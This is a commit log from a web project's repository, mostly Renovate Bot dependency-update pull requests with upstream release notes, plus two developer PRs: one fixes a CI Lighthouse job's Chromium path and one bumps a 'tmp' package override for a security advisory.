| [@angular/language-service](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/language-service)) | devDependencies | patch | [`21.2.14` -> `21.2.15`](https://renovatebot.com/diffs/npm/@angular%2flanguage-service/21.2.14/21.2.15) |
| [@angular/localize](https://github.com/angular/angular) | dependencies | patch | [`21.2.14` -> `21.2.15`](https://renovatebot.com/diffs/npm/@angular%2flocalize/21.2.14/21.2.15) |
| [@angular/platform-browser](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/platform-browser)) | dependencies | patch | [`21.2.14` -> `21.2.15`](https://renovatebot.com/diffs/npm/@angular%2fplatform-browser/21.2.14/21.2.15) |
| [@angular/router](https://github.com/angular/angular/tree/main/packages/router) ([source](https://github.com/angular/angular/tree/HEAD/packages/router)) | dependencies | patch | [`21.2.14` -> `21.2.15`](https://renovatebot.com/diffs/npm/@angular%2frouter/21.2.14/21.2.15) |

---

### Release Notes

<details>
<summary>angular/angular (@&#8203;angular/common)</summary>

### [`v21.2.15`](https://github.com/angular/angular/blob/HEAD/CHANGELOG.md#21215-2026-05-28)

[Compare Source](https://github.com/angular/angular/compare/v21.2.14...v21.2.15)

##### common

| Commit | Type | Description |
| -- | -- | -- |
| [7f4ac78994](https://github.com/angular/angular/commit/7f4ac78994bff1576ab33f3ce48f95c17f40b4d8) | fix | add upper bounds for digitsInfo |
| [300f61feb3](https://github.com/angular/angular/commit/300f61feb3a534bfddf16fcbd240f97b32249699) | fix | sanitize placeholder |

##### compiler

| Commit | Type | Description |
| -- | -- | -- |
| [0b07f47bd6](https://github.com/angular/angular/commit/0b07f47bd6598ae6bd5b75a375e2c817a3c0f243) | fix | normalize tag names with custom namespaces in DomElementSchemaRegistry ([#&#8203;68925](https://github.com/angular/angular/pull/68925)) |
| [eb1cbbf2eb](https://github.com/angular/angular/commit/eb1cbbf2eb5833219a367a61c04eb07aaa36cc29) | fix | prevent namespaced SVG <style> elements from being stripped |
| [cc1378d54b](https://github.com/angular/angular/commit/cc1378d54bd93f3882d732261be8e66720eb71b2) | fix | sanitize dynamic href and xlink:href bindings on SVG a elements ([#&#8203;68925](https://github.com/angular/angular/pull/68925)) |
| [782e01594e](https://github.com/angular/angular/commit/782e01594e2ad9134c7385dcf3b518101b23ccab) | fix | strip namespaced SVG script elements during template compilation ([#&#8203;68925](https://github.com/angular/angular/pull/68925)) |

##### core

| Commit | Type | Description |
| -- | -- | -- |
| [ff12fe55ac](https://github.com/angular/angular/commit/ff12fe55ace5e861ba261afb4c0480ff3c40a192) | fix | normalize tag names in runtime i18n attribute security context lookup ([#&#8203;68925](https://github.com/angular/angular/pull/68925)) |
| [e6fe77cc97](https://github.com/angular/angular/commit/e6fe77cc97fd10351687416f938bf754aff4eb9f) | fix | sanitize meta selectors |
| [daaf32937f](https://github.com/angular/angular/commit/daaf32937fd5c46e411b26f7c082613716fe9550) | fix | support prefix-insensitive DOM schema lookups and compile-time i18n attribute validation ([#&#8203;68925](https://github.com/angular/angular/pull/68925)) |
| [dada86e43d](https://github.com/angular/angular/commit/dada86e43d847204f714d1a933084617ab941c0a) | fix | synchronize core sanitization schema with compiler ([#&#8203;68925](https://github.com/angular/angular/pull/68925)) |

##### http

| Commit | Type | Description |
| -- | -- | -- |
| [582a417bd2](https://github.com/angular/angular/commit/582a417bd27fdaf989e5065dbcdf1ad752faf70c) | fix | exclude withCredentials requests from transfer cache |
| [5c6d6df34b](https://github.com/angular/angular/commit/5c6d6df34bbeff3ce98f3b35875444f925cc8f51) | fix | skip TransferCache for cookie-bearing requests by default |

##### platform-server

| Commit | Type | Description |
| -- | -- | -- |
| [37e8aadf87](https://github.com/angular/angular/commit/37e8aadf87b4facfcaf002a1557f8c393a362d97) | fix | prevent SSRF bypasses via backslash URLs in HttpClient |
| [72696e244e](https://github.com/angular/angular/commit/72696e244ed7646cca9ab9afc7769a2163943bda) | fix | secure location and document initialization against SSRF and path hijack |

##### service-worker

| Commit | Type | Description |
| -- | -- | -- |
| [b8bd49341d](https://github.com/angular/angular/commit/b8bd49341ddcee10d119a9d4aa8e5736e4e5da53) | fix | Preserves explicit 'credentials: omit' in asset requests |
| [ca32fc1000](https://github.com/angular/angular/commit/ca32fc10001301e6174804f9abcfba62252334f4) | fix | Preserves HTTP cache mode in asset group requests |

<!-- CHANGELOG SPLIT MARKER -->

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #247
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-29 09:43:56 +02:00
APF Portal Bot 67d04b0a78 fix(deps): update nestjs (#246)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m11s
CI / check (push) Failing after 6m34s
CI / a11y (push) Successful in 4m10s
CI / perf (push) Successful in 6m47s
Docs site / build (push) Successful in 3m3s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://github.com/nestjs/nest/tree/HEAD/packages/common)) | dependencies | patch | [`11.1.21` -> `11.1.24`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/11.1.21/11.1.24) |
| [@nestjs/core](https://nestjs.com) ([source](https://github.com/nestjs/nest/tree/HEAD/packages/core)) | dependencies | patch | [`11.1.21` -> `11.1.24`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/11.1.21/11.1.24) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | dependencies | patch | [`11.1.21` -> `11.1.24`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/11.1.21/11.1.24) |
| [@nestjs/swagger](https://github.com/nestjs/swagger) | dependencies | patch | [`11.4.3` -> `11.4.4`](https://renovatebot.com/diffs/npm/@nestjs%2fswagger/11.4.3/11.4.4) |
| [@nestjs/testing](https://nestjs.com) ([source](https://github.com/nestjs/nest/tree/HEAD/packages/testing)) | devDependencies | patch | [`11.1.21` -> `11.1.24`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/11.1.21/11.1.24) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v11.1.24`](https://github.com/nestjs/nest/releases/tag/v11.1.24)

[Compare Source](https://github.com/nestjs/nest/compare/v11.1.23...v11.1.24)

##### v11.1.24 (2026-05-25)

##### Bug fixes

- `core`
  - [#&#8203;17009](https://github.com/nestjs/nest/pull/17009) fix(core): reset dependency-tree cache on metadata changes ([@&#8203;puneetdixit200](https://github.com/puneetdixit200))

##### Enhancements

- `core`
  - [#&#8203;16997](https://github.com/nestjs/nest/pull/16997) feat(core): warn on late websocket adapter registration ([@&#8203;hbinhng](https://github.com/hbinhng))

##### Dependencies

- `platform-ws`
  - [#&#8203;17011](https://github.com/nestjs/nest/pull/17011) chore(deps): bump ws from 8.20.1 to 8.21.0 ([@&#8203;dependabot\[bot\]](https://github.com/apps/dependabot))

##### Committers: 2

- Nguyễn Hải Bình ([@&#8203;hbinhng](https://github.com/hbinhng))
- Puneet Dixit ([@&#8203;puneetdixit200](https://github.com/puneetdixit200))

### [`v11.1.23`](https://github.com/nestjs/nest/releases/tag/v11.1.23)

[Compare Source](https://github.com/nestjs/nest/compare/v11.1.22...v11.1.23)

##### v11.1.23 (2026-05-21)

##### Bug fixes

- `core`
  - https://github.com/nestjs/nest/issues/16998 fix snapshot: true eagerly instantiates Terminus transient indicators since 11.1.20

##### Committers: 1

- Kamil Mysliwiec ([@&#8203;kamilmysliwiec](https://github.com/kamilmysliwiec))

### [`v11.1.22`](https://github.com/nestjs/nest/releases/tag/v11.1.22)

[Compare Source](https://github.com/nestjs/nest/compare/v11.1.21...v11.1.22)

##### v11.1.22 (2026-05-21)

##### Bug fixes

- `core`
  - [#&#8203;16993](https://github.com/nestjs/nest/pull/16993) fix(core): inflight request injection bug [#&#8203;16989](https://github.com/nestjs/nest/issues/16989) ([@&#8203;kamilmysliwiec](https://github.com/kamilmysliwiec))

##### Enhancements

- `core`
  - [#&#8203;16967](https://github.com/nestjs/nest/pull/16967) fix(core): identify decorator type in invalid-class-module error ([@&#8203;HarrierOnChain](https://github.com/HarrierOnChain))
  -

##### Committers: 2

- Harrier ([@&#8203;HarrierOnChain](https://github.com/HarrierOnChain))
- Kamil Mysliwiec ([@&#8203;kamilmysliwiec](https://github.com/kamilmysliwiec))

</details>

<details>
<summary>nestjs/swagger (@&#8203;nestjs/swagger)</summary>

### [`v11.4.4`](https://github.com/nestjs/swagger/releases/tag/11.4.4)

[Compare Source](https://github.com/nestjs/swagger/compare/11.4.3...11.4.4)

#### 11.4.4 (2026-05-21)

##### Bug fixes

- [#&#8203;3930](https://github.com/nestjs/swagger/pull/3930) fix: top-level nullable with discriminator issue  ([@&#8203;kamilmysliwiec](https://github.com/kamilmysliwiec))

##### Enhancements

- [#&#8203;3921](https://github.com/nestjs/swagger/pull/3921) feat(swagger): add summary field to Tag Object (OpenAPI 3.2) ([@&#8203;frbuceta](https://github.com/frbuceta))
- [#&#8203;3924](https://github.com/nestjs/swagger/pull/3924) feat(swagger): warn when [@&#8203;ApiTags](https://github.com/ApiTags) receives hierarchy fields ([@&#8203;frbuceta](https://github.com/frbuceta))
- [#&#8203;3925](https://github.com/nestjs/swagger/pull/3925) fix(swagger): type Tag Object kind as a free-form string ([@&#8203;frbuceta](https://github.com/frbuceta))

##### Committers: 4

- Alexander Scholz ([@&#8203;LucidityDesign](https://github.com/LucidityDesign))
- Francisco Buceta ([@&#8203;frbuceta](https://github.com/frbuceta))
- Kamil Mysliwiec ([@&#8203;kamilmysliwiec](https://github.com/kamilmysliwiec))
- Natanael dos Santos Feitosa ([@&#8203;natanfeitosa](https://github.com/natanfeitosa))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/246
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-28 17:39:48 +02:00
APF Portal Bot 0bdc065eb4 fix(deps): update dependency nestjs-cls to v6.2.1 (#245)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m54s
CI / a11y (push) Successful in 2m23s
CI / check (push) Successful in 6m39s
CI / perf (push) Successful in 7m6s
Docs site / build (push) Successful in 2m55s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [nestjs-cls](https://papooch.github.io/nestjs-cls/) ([source](https://github.com/Papooch/nestjs-cls)) | dependencies | patch | [`6.2.0` -> `6.2.1`](https://renovatebot.com/diffs/npm/nestjs-cls/6.2.0/6.2.1) |

---

### Release Notes

<details>
<summary>Papooch/nestjs-cls (nestjs-cls)</summary>

### [`v6.2.1`](https://github.com/Papooch/nestjs-cls/releases/tag/nestjs-cls%406.2.1)

[Compare Source](https://github.com/Papooch/nestjs-cls/compare/nestjs-cls@6.2.0...nestjs-cls@6.2.1)

##### Bug Fixes

- **core**: establish ALS root context at init to mitigate enterWith leak on Node < 24 ([#&#8203;577](https://github.com/Papooch/nestjs-cls/issues/577)) ([05b8fb0](https://github.com/Papooch/nestjs-cls/commits/05b8fb0))
- **core**: improve ClsPluginsHooksHost error message and document app.init() requirement ([#&#8203;578](https://github.com/Papooch/nestjs-cls/issues/578)) ([2a4e874](https://github.com/Papooch/nestjs-cls/commits/2a4e874))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/245
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-28 17:16:02 +02:00
APF Portal Bot c41f0a9af9 fix(deps): update angular to v21.2.13 (#244)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m56s
CI / a11y (push) Successful in 2m27s
CI / check (push) Successful in 6m44s
CI / perf (push) Successful in 6m35s
Docs site / build (push) Successful in 2m36s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@angular-devkit/core](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular-devkit%2fcore/21.2.12/21.2.13) |
| [@angular-devkit/schematics](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular-devkit%2fschematics/21.2.12/21.2.13) |
| [@angular/build](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2fbuild/21.2.12/21.2.13) |
| [@angular/cdk](https://github.com/angular/components) | dependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2fcdk/21.2.12/21.2.13) |
| [@angular/cli](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2fcli/21.2.12/21.2.13) |
| [@schematics/angular](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@schematics%2fangular/21.2.12/21.2.13) |

---

### Release Notes

<details>
<summary>angular/angular-cli (@&#8203;angular-devkit/core)</summary>

### [`v21.2.13`](https://github.com/angular/angular-cli/blob/HEAD/CHANGELOG.md#21213-2026-05-27)

[Compare Source](https://github.com/angular/angular-cli/compare/v21.2.12...v21.2.13)

##### [@&#8203;angular-devkit/build-angular](https://github.com/angular-devkit/build-angular)

| Commit                                                                                              | Type | Description                                                |
| --------------------------------------------------------------------------------------------------- | ---- | ---------------------------------------------------------- |
| [3c6d26a31](https://github.com/angular/angular-cli/commit/3c6d26a316cd6aea455c19b249dc6852d84a698e) | fix  | remove unconditional CORS wildcard from webpack dev-server |

##### [@&#8203;angular/build](https://github.com/angular/build)

| Commit                                                                                              | Type | Description                                             |
| --------------------------------------------------------------------------------------------------- | ---- | ------------------------------------------------------- |
| [2b3e95517](https://github.com/angular/angular-cli/commit/2b3e95517358f8ef3482d5319d970f4774e45ad0) | fix  | assert that asset input paths are within workspace root |

<!-- CHANGELOG SPLIT MARKER -->

</details>

<details>
<summary>angular/components (@&#8203;angular/cdk)</summary>

### [`v21.2.13`](https://github.com/angular/components/blob/HEAD/CHANGELOG.md#21213-21-2-13-2026-05-27)

[Compare Source](https://github.com/angular/components/compare/v21.2.12...v21.2.13)

No user facing changes in this release

<!-- CHANGELOG SPLIT MARKER -->

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #244
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-28 17:01:44 +02:00
APF Portal Bot c5704ef2af chore(deps): update dependency dayjs to v1.11.21 (#242)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m11s
CI / a11y (push) Successful in 2m19s
CI / check (push) Successful in 5m53s
CI / perf (push) Successful in 6m4s
Docs site / build (push) Successful in 3m10s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [dayjs](https://day.js.org) ([source](https://github.com/iamkun/dayjs)) | devDependencies | patch | [`1.11.20` -> `1.11.21`](https://renovatebot.com/diffs/npm/dayjs/1.11.20/1.11.21) |

---

### Release Notes

<details>
<summary>iamkun/dayjs (dayjs)</summary>

### [`v1.11.21`](https://github.com/iamkun/dayjs/blob/HEAD/CHANGELOG.md#11121-2026-05-26)

[Compare Source](https://github.com/iamkun/dayjs/compare/v1.11.20...v1.11.21)

##### Bug Fixes

- preserve unsupported year tokens in format ([#&#8203;3015](https://github.com/iamkun/dayjs/issues/3015)) ([#&#8203;3016](https://github.com/iamkun/dayjs/issues/3016)) ([8fda602](https://github.com/iamkun/dayjs/commit/8fda602beac5abbc64230ddc49085aa532320f26))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/242
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-28 10:40:57 +02:00
julien e88263a985 fix(ci): give gitlab perf job a discoverable chromium (ADR-0028) (#243)
CI / scan (push) Successful in 2m31s
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m54s
CI / a11y (push) Successful in 2m2s
CI / perf (push) Successful in 3m43s
## Summary

Fix the GitLab `perf` job, which failed at the Lighthouse CI healthcheck with `Chrome installation not found`. Follow-up on [ADR-0028](../docs/decisions/0028-migrate-cicd-and-git-hosting-to-gitlab.md) Phase 2 (`.gitlab-ci.yml` landed in #241).

## Root cause

The `perf` job ran on `mcr.microsoft.com/playwright:v1.55.0-jammy`. That image **does** ship Chromium, but under `/ms-playwright/chromium-<rev>/chrome-linux/chrome` — a non-standard path/name. Lighthouse CI uses `chrome-launcher`, which discovers Chrome by probing the `PATH` (`google-chrome`, `chromium`, `chromium-browser`) or the `CHROME_PATH` env var. It cannot find Playwright's bundled Chromium, so the healthcheck fails before any run starts.

The same class of failure ("absence de Chrome pour Lighthouse") was hit and solved on the Gitea side — there the `catthehacker/ubuntu:full-22.04` image happened to carry Chrome at a standard location.

## Fix

Decouple the two browser-driving tools instead of forcing one image to serve both:

| Aspect | Before | After |
| --- | --- | --- |
| `image` | `mcr.microsoft.com/playwright:v1.55.0-jammy` | `node:24-bookworm` (same as the `.node-job` base) |
| Chrome | bundled, undiscoverable | `apt-get install --no-install-recommends chromium` → `/usr/bin/chromium` |
| `CHROME_PATH` | unset | `/usr/bin/chromium` (explicit, removes any PATH ambiguity) |
| `before_script` | inherited | `!reference [.node-job, before_script]` + the apt install |

Rationale for not pinning Playwright's Chromium via `CHROME_PATH` instead: that couples the perf job to an exact match between the npm `@playwright/test` version and the Docker image tag. A Renovate bump of `@playwright/test` while the image stays at `v1.55.0` would silently break `executablePath()`. The apt-installed Debian `chromium` has no such coupling.

The future ADR-0016 axe-core e2e job — which drives **Playwright** directly — will use the Playwright image. Lighthouse wants a standard Chrome; Playwright wants its own browsers. Different tools, different images.

`lighthouserc.js` already passes `--no-sandbox` (containerised-CI requirement), so no change needed there — that flag's rationale applies identically on GitLab Runner.

## Trade-off noted

The `apt-get install chromium` re-downloads ~100 MB per perf run (the package lands in the job container's ephemeral writable layer, not a cached image layer). Acceptable for now. If perf-job duration or `vm-gitlab` bandwidth becomes a pain, the clean optimisation is a small custom image with Chromium pre-installed, pushed to GitLab's Container Registry — out of scope here, flagged for later.

## Test plan

- [ ] GitLab `perf` job reaches the Lighthouse run (no more `Chrome installation not found`) and the ADR-0017 assertions evaluate.
- [ ] `chromium` apt install completes on `node:24-bookworm` (Debian bookworm `main` carries the package).
- [ ] `.gitlab-ci.yml` passes GitLab CI Lint (Project → Build → Pipeline Editor → Validate) — confirms the `!reference` + added keys parse.
- [ ] Other jobs (`check`, `audit`, `commits`, `a11y`, `sast`, `secret_detection`) unaffected.

## Related

- [ADR-0028](../docs/decisions/0028-migrate-cicd-and-git-hosting-to-gitlab.md) Phase 2 — `.gitlab-ci.yml` (#241).
- [ADR-0017](../docs/decisions/0017-performance-budgets-lighthouse-ci.md) — Lighthouse CI perf budgets.
- [ADR-0016](../docs/decisions/0016-accessibility-baseline-wcag-aa-targeted-aaa.md) — future axe-core e2e (will own the Playwright image).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #243
2026-05-28 10:12:05 +02:00
julien c24795f1d6 ci(gitlab): land .gitlab-ci.yml alongside gitea workflow (ADR-0028 phase 2) (#241)
CI / check (push) Successful in 2m38s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m47s
CI / a11y (push) Successful in 1m29s
CI / perf (push) Successful in 4m41s
## Summary

Bump the existing `tmp` security override from `>=0.2.4` to `>=0.2.6` to cover [GHSA-ph9p-34f9-6g65](https://github.com/advisories/GHSA-ph9p-34f9-6g65) — a path-traversal vulnerability via unsanitized prefix/postfix in `tmp@<0.2.6`. Surfaced by `pnpm ci:audit` on the next CI run; both Gitea and the in-flight GitLab Phase 2 pipeline fail without this.

## Why this isn't an upstream upgrade

`tmp` is a transitive dependency. The two consuming paths today:

| Path | Latest available |
| --- | --- |
| `.>nx>tmp` | `nx@22.7.4` still declares `tmp@^0.2.4` |
| `.>@lhci/cli>tmp` | `@lhci/cli@0.15.1` (latest) still declares `tmp@^0.1.0` |

Upgrading `nx` or `@lhci/cli` does not move `tmp` to 0.2.6. The pre-existing `pnpm.overrides` entry was already pinning `tmp@<0.2.4` → `>=0.2.4` against the prior advisory; this PR just widens the lower bound to match the new one. Same pattern, one line.

## What lands

| File | Change |
| --- | --- |
| `package.json` | `"tmp@<0.2.4": ">=0.2.4"` → `"tmp@<0.2.6": ">=0.2.6"` (one line). |
| `pnpm-lock.yaml` | `tmp@0.2.4` → `tmp@0.2.6` resolved; `@scalar/nestjs-api-reference@1.1.16 → 1.1.19` picked up as a natural transitive resolution during `pnpm install` (no semver-major, both are within the existing `^1.1.14` range and match Renovate's "patch + auto-merge" policy). |

## Risk

Patch bump (0.2.4 → 0.2.6) on a tiny library with a stable public API since v0.2.0. The release notes for 0.2.5 and 0.2.6 are sanitization-only fixes — no API surface change. Risk of regression in nx / lhci consumers: negligible.

## Test plan

- [x] `pnpm audit --audit-level=moderate` returns `No known vulnerabilities found` (exit 0).
- [x] `pnpm why tmp` shows `tmp@0.2.6` as the single resolved version (no duplicate).
- [ ] CI green on Gitea (`check` + `scan` jobs).
- [ ] Once merged, rebase `ci/gitlab-pipeline-phase2` on top and retry the GitLab `audit` job — expected green.

## Related

- [GHSA-ph9p-34f9-6g65](https://github.com/advisories/GHSA-ph9p-34f9-6g65) — the advisory.
- Unblocks [ADR-0028](../docs/decisions/0028-migrate-cicd-and-git-hosting-to-gitlab.md) Phase 2 pipeline parity validation (see `ci/gitlab-pipeline-phase2` branch).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #241
2026-05-27 17:53:39 +02:00
APF Portal Bot a848e0fabd chore(deps): update dependency @swc/helpers to v0.5.23 (#239)
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m25s
CI / scan (push) Successful in 1m54s
CI / a11y (push) Successful in 2m55s
CI / perf (push) Successful in 5m2s
Docs site / build (push) Successful in 4m42s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@swc/helpers](https://swc.rs) ([source](https://github.com/swc-project/swc/tree/HEAD/packages/helpers)) | devDependencies | patch | [`0.5.21` -> `0.5.23`](https://renovatebot.com/diffs/npm/@swc%2fhelpers/0.5.21/0.5.23) |

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #239
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-27 17:34:46 +02:00
julien e2894afc4a chore(deps): bump tmp override to >=0.2.6 (GHSA-ph9p-34f9-6g65) (#240)
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m39s
CI / scan (push) Successful in 2m21s
CI / a11y (push) Successful in 2m43s
CI / perf (push) Successful in 4m44s
Docs site / build (push) Successful in 4m25s
## Summary

Bump the existing `tmp` security override from `>=0.2.4` to `>=0.2.6` to cover [GHSA-ph9p-34f9-6g65](https://github.com/advisories/GHSA-ph9p-34f9-6g65) — a path-traversal vulnerability via unsanitized prefix/postfix in `tmp@<0.2.6`. Surfaced by `pnpm ci:audit` on the next CI run; both Gitea and the in-flight GitLab Phase 2 pipeline fail without this.

## Why this isn't an upstream upgrade

`tmp` is a transitive dependency. The two consuming paths today:

| Path | Latest available |
| --- | --- |
| `.>nx>tmp` | `nx@22.7.4` still declares `tmp@^0.2.4` |
| `.>@lhci/cli>tmp` | `@lhci/cli@0.15.1` (latest) still declares `tmp@^0.1.0` |

Upgrading `nx` or `@lhci/cli` does not move `tmp` to 0.2.6. The pre-existing `pnpm.overrides` entry was already pinning `tmp@<0.2.4` → `>=0.2.4` against the prior advisory; this PR just widens the lower bound to match the new one. Same pattern, one line.

## What lands

| File | Change |
| --- | --- |
| `package.json` | `"tmp@<0.2.4": ">=0.2.4"` → `"tmp@<0.2.6": ">=0.2.6"` (one line). |
| `pnpm-lock.yaml` | `tmp@0.2.4` → `tmp@0.2.6` resolved; `@scalar/nestjs-api-reference@1.1.16 → 1.1.19` picked up as a natural transitive resolution during `pnpm install` (no semver-major, both are within the existing `^1.1.14` range and match Renovate's "patch + auto-merge" policy). |

## Risk

Patch bump (0.2.4 → 0.2.6) on a tiny library with a stable public API since v0.2.0. The release notes for 0.2.5 and 0.2.6 are sanitization-only fixes — no API surface change. Risk of regression in nx / lhci consumers: negligible.

## Test plan

- [x] `pnpm audit --audit-level=moderate` returns `No known vulnerabilities found` (exit 0).
- [x] `pnpm why tmp` shows `tmp@0.2.6` as the single resolved version (no duplicate).
- [ ] CI green on Gitea (`check` + `scan` jobs).
- [ ] Once merged, rebase `ci/gitlab-pipeline-phase2` on top and retry the GitLab `audit` job — expected green.

## Related

- [GHSA-ph9p-34f9-6g65](https://github.com/advisories/GHSA-ph9p-34f9-6g65) — the advisory.
- Unblocks [ADR-0028](../docs/decisions/0028-migrate-cicd-and-git-hosting-to-gitlab.md) Phase 2 pipeline parity validation (see `ci/gitlab-pipeline-phase2` branch).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #240
2026-05-27 17:29:41 +02:00
julien 3191040bbc chore(gitlab): add MR template (ADR-0028 phase 1) (#238)
